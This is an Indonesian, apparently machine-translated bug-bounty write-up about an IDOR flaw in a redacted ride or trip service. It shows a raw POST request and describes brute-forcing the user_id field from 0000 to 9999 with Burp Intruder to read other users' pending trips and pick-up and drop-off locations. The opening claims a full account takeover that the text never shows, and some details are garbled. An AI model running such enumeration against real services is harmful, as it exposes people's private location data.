IDOR Mengungkapkan Informasi Perjalanan Pengguna yang Tertunda | Bagian 01

Dec 02 2022
Hi Amazing Hackers & Security Enthusiasts, hari ini saya akan menulis tentang sesuatu yang sangat penting. Mengidentifikasi bug IDOR yang menyebabkan pengambilalihan akun penuh tanpa interaksi pengguna adalah bug IDOR pertama saya.

Hi Amazing Hackers & Security Enthusiasts, hari ini saya akan menulis tentang sesuatu yang sangat penting. Mengidentifikasi bug IDOR yang menyebabkan pengambilalihan akun penuh tanpa interaksi pengguna adalah bug IDOR pertama saya.

Mari kita lakukan beberapa latar belakang tentang IDOR sebelum membahas bug

IDOR (Referensi objek langsung tidak aman)

Referensi objek langsung yang tidak aman (IDOR) adalah jenis kerentanan kontrol akses yang muncul saat aplikasi menggunakan input yang disediakan pengguna untuk mengakses objek secara langsung. Kerentanan IDOR paling sering dikaitkan dengan eskalasi hak istimewa horizontal, tetapi juga dapat muncul sehubungan dengan eskalasi hak istimewa vertikal.

Jadi, sebut saja targetnya sebagai target.com. Saya mulai dengan Recon di domain utama. Sekarang setelah Recon saya mulai memahami aplikasi cara kerjanya. Buka saja Sendawa. dan mulai menganalisis aplikasi bagaimana cara kerjanya, bagaimana memproses permintaan, lihat metode mana yang diizinkan. menganalisis Kode Sumber untuk kunci API rahasia apa pun, atau token apa pun, atau titik akhir.

Saya melihat dan menggunakan beberapa fungsi seperti memperbarui profil, mengunggah gambar profil, dan mengubah kata sandi tanpa kata sandi lama, serta memantau setiap permintaan dan respons menggunakan sendawa.

Bug 01: IDOR Mengungkapkan Informasi Perjalanan Pending Pengguna .

Saya menjadwalkan perjalanan dan setelah itu saya membuat permintaan untuk mendapatkan informasi tentang perjalanan saya. sehingga permintaan terlihat seperti

/target-dev/index.php/UserPortal/Trip/tripListByUser

Minta Mirip

POST /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1

Host: app.target.com

Kuki: _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0; _ga=GA1.1.749545081.1669213744; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=Langsung; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778; ci_session=4rk74md1hpc0hrac5dfv3li2av

Agen Pengguna: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Terima: aplikasi/json, teks/polos, */*

Bahasa Terima: en-US,en;q=0,5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Konten-Panjang: 59

Asal: https://app.target.com

Referensi: https://app.target.com/target-user-portal/

Sec-Fetch-Dest: kosong

Sec-Fetch-Mode: cors

Sec-Fetch-Site: asal yang sama

Te: trailer

Koneksi: tutup

{“user_id”:”1654",”status”:”pending”,” T ARGETAUTHKEY”:8342}

Sekarang Perhatikan Dua hal Pertama adalah T ARGETAUTHKEY dan kedua adalah “user_id”:”1654".

kirim permintaan ini ke pengulang dan lihat respons Anda mendapatkan informasi tentang informasi perjalanan yang tertunda.

Sekarang setelah itu kirim permintaan ke penyusup dan paksa "user_id" dan payload adalah Nomor Mulai dari 0000 hingga 9999 dan urutannya adalah 1. klik Mulai Serangan. Dan pilih permintaan dan tanggapan pada panjang Booom Anda mendapatkan informasi perjalanan tertunda pengguna lain dengan mengungkapkan id pengguna dan lokasi pick and drop pengguna.

Respon Terlihat Seperti

{“user_id”:”418",”status”:”pending”,”LOADMEEAUTHKEY”:8012, Trip_Id:XXXX, Tripe_location: “data pilihan pengguna”, Trip_destination: “lokasi penurunan perjalanan”, Essitemate_total:35000}

Dan Jadi tanggapan ini mengungkapkan dua hal

  1. daftarkan ID Pengguna dan Lokasi
  2. Data Perjalanan

Selamat Meretas